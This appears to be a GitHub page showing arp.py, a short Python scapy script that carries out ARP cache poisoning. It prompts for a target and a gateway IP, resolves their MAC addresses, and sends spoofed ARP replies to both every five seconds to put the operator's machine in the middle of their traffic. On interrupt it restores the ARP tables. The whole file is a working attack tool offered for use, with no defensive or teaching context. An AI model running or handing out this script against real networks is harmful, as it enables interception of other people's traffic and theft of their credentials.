-
Notifications
You must be signed in to change notification settings - Fork 1
/
arp.py
48 lines (39 loc) · 1.37 KB
/
arp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from scapy.all import *
import time
def getmac(targetip):
arppacket = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac = srp(arppacket)[0][0][1].hwsrc
return targetmac
def poisonarpcache(targetip, targetmac, sourceip):
spoofed = ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet = ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet)
print ("ARP Table restored to normal for", targetip)
def main():
targetip = input("Enter Target IP:")
gatewayip = input("Enter Gateway IP:")
try:
targetmac = getmac(targetip)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
except:
print("Gateway is unreachable")
quit()
try:
print ("Sending spoofed ARP replies")
while True:
time.sleep(5)
poisonarpcache(targetip, targetmac, gatewayip)
poisonarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print ("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()